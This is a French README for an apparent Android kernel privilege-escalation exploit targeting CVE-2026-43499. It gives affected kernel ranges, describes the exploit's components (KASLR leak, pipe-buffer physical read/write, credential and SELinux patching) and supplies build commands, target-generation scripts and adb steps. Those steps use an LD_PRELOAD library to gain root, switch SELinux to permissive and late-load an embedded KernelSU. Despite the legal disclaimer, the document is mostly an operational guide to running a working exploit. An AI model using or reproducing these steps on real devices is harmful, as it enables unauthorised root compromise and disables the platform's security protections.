
Exploit d'élévation de privilèges local Android pour CVE-2026-43499 qui corrige les creds du noyau et lance KernelSU embarqué en mode late-load via LD_PRELOAD.
Adaptation d'élévation de privilèges locale basée sur la vulnérabilité du noyau CVE-2026-43499, intégrant KernelSU embarqué. Compile et génère preload.so ; après une exploitation réussie, KernelSU sera démarré en mode late-load (mode jailbreak). Prend en charge la génération de target.h à partir de (xbl_config.img / vendor_boot.img) + boot.img.
Adaptation d'élévation de privilèges locale basée sur une vulnérabilité du noyau, intégrant KernelSU embarqué.
Compile et génère preload.so ; après une exploitation réussie, KernelSU sera démarré en mode late-load (mode jailbreak).
Prend en charge la génération de target.h à partir de (xbl_config.img / vendor_boot.img) + boot.img. ou autre méthode
Projets de référence :
[!IMPORTANT] L'exploitation non autorisée de vulnérabilités pour endommager, compromettre ou accéder à des systèmes informatiques est interdite par la loi. Ce projet est fourni strictement à des fins de recherche, d'éducation et d'apprentissage, et ne peut être utilisé que dans des systèmes et environnements pour lesquels une autorisation préalable a été accordée. Toute utilisation de ce projet se fait aux risques et périls de l'utilisateur. Les auteurs et contributeurs n'assument aucune responsabilité pour toute mauvaise utilisation de ce projet ou pour tout dommage, perte ou conséquence juridique résultant de son utilisation.
Avertissement : l'exploitation non autorisée de vulnérabilités pour endommager, pénétrer ou accéder sans autorisation à des systèmes informatiques peut violer les lois et réglementations en vigueur. Ce projet est limité à des fins de recherche de sécurité, d'apprentissage et de test dans des systèmes et environnements légalement autorisés. Toute perte directe ou indirecte, responsabilité juridique ou autre conséquence résultant de l'utilisation, de l'abus ou de la modification de ce projet incombe à l'utilisateur, et les auteurs et contributeurs du projet déclinent toute responsabilité.
Lorsque votre version du noyau est {Linux Kernel}, vous êtes dans le périmètre d'impact de cette vulnérabilité
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | État |
|---|---|
rodin(par défaut) | Vérifié |
Autres src/targets/* | Référence |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # binaire userspace KernelSU embarqué dans preload.so
├── tools/
│ ├── generate_target.py # point d'entrée unifié de génération de target.h de ce dépôt
│ └── vendor/ # scripts auxiliaires de génération originaux synchronisés depuis le répertoire parent
└── src/
├── main.c # flux principal de l'exploit
├── preload.c # constructeur LD_PRELOAD + écriture/lancement de ksud
├── root.c # patch cred/seccomp/SELinux/root
├── slide.c # fuite de slide KASLR via pselect
├── fops.c # route pselect/FOPS
├── pipe.c # primitive de lecture/écriture physique via pipe-buffer
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # helpers KernelSnitch
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
Sortie :
build/<target>/bin/preload.so
make list-projects
Ce dépôt intègre déjà un script unifié de génération de target :
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py est le script d'entrée. Il s'inspire et encapsule tous les flux de génération de target du répertoire parent, puis produit un src/targets/<project>/target.h complet adapté au code source de ce dépôt.
Le script ne force pas la vérification de CONFIG_DEBUG_INFO_BTF=y dans IKCONFIG. Si les décalages des champs de structure ou la disposition percpu de entry_task ne peuvent pas être vérifiés, il affiche un avertissement et poursuit la génération.
Si l'image ne contient aucun BTF utilisable, par exemple en cas d'apparition de :
有效 vmlinux BTF 候选不唯一: []
le générateur passe en fallback sans BTF :
boot.img courant ;rodin ;without BTF et le modèle utilisé ;Il est possible de spécifier le modèle de fallback :
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# ou
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
Écrit par défaut dans :
src/targets/<project>/target.h
Il est également possible d'appeler directement le script :
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.json doit contenir les informations d'adresse physique, par exemple :
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
Générer uniquement le profile :
make detect-profile PROFILE_OUT=profile.json
Détecter le profile et générer immédiatement le target :
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
Le script expose également les autres points d'entrée pris en charge par le générateur du répertoire parent :
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
Forme de sortie en cas de succès :
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin conserve par défaut la valeur vérifiée sur appareil réel :
#define MM_STRUCT_SZ 0x500
Pour la remplacer :
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
Il est recommandé de générer à partir d'une image boot et d'un profile correspondants :
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
Un header de target complet contiendra :
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZ et les valeurs de réglage KernelSnitchLe code source actuel contient déjà les valeurs par défaut ; une exécution normale nécessite uniquement de définir LD_PRELOAD et d'exécuter n'importe quel programme (il est recommandé d'utiliser toybox id).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
La configuration par défaut actuelle est la suivante :
La commande ksud réellement exécutée par défaut est :
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
Ces variables d'environnement peuvent toujours être remplacées à l'exécution, par exemple :
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Réutiliser un ksud déjà écrit :
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
make clean conserve build/embed/ksud, car src/ksud_blob.S l'incorpore de la manière suivante :
.incbin "build/embed/ksud"
Si un nettoyage manuel entraîne la perte de build/embed/ksud, il est possible de le restaurer :
git checkout -- build/embed/ksud
.incbin "build/embed/ksud" not foundRestaurer le payload embarqué puis recompiler :
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0rodin s'attend à utiliser le layout pselect legacy/simple :
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
Si l'état de l'appareil a été pollué par des tentatives échouées, redémarrer puis réessayer :
adb reboot
F_SETPIPE_SZ renvoie EPERMIl s'agit généralement d'un problème d'état causé par des tentatives échouées/résiduelles ; le redémarrage est le moyen le plus rapide de nettoyer :
adb reboot
ksud démarre mais /proc/modules ne contient pas KernelSUConsulter les logs :
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
Si nécessaire, exécuter manuellement dans un shell root :
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. See LICENSE.
| Paramètre | Valeur par défaut | Description |
|---|
KSUD_LATE_LOAD | 1 | Exécute ksud late-load |
KSUD_ALLOW_SHELL | 1 | Passe --allow-shell |
KSUD_PACKAGE | me.weishu.kernelsu | Nom du package du gestionnaire transmis à ksud (semble sans effet) |
KSUD_DST | /data/local/tmp/ksud | Chemin d'écriture du ksud embarqué |
KSUD_SKIP_WRITE | 0 | Écrit le ksud embarqué par défaut |
KSUD_DEFER_TO_PARENT | 1 | Lance ksud depuis le chemin du processus parent/courant déjà patché |
ROOT_PATCH_SELF | 1 | Patche le processus courant en uid 0 |
DISABLE_SELINUX | 1 | Écrit SELinux enforcing en permissive lors du root patch |
ROOT_EXIT_SLEEP | unset / 0 | Pas de sleep supplémentaire avant le retour |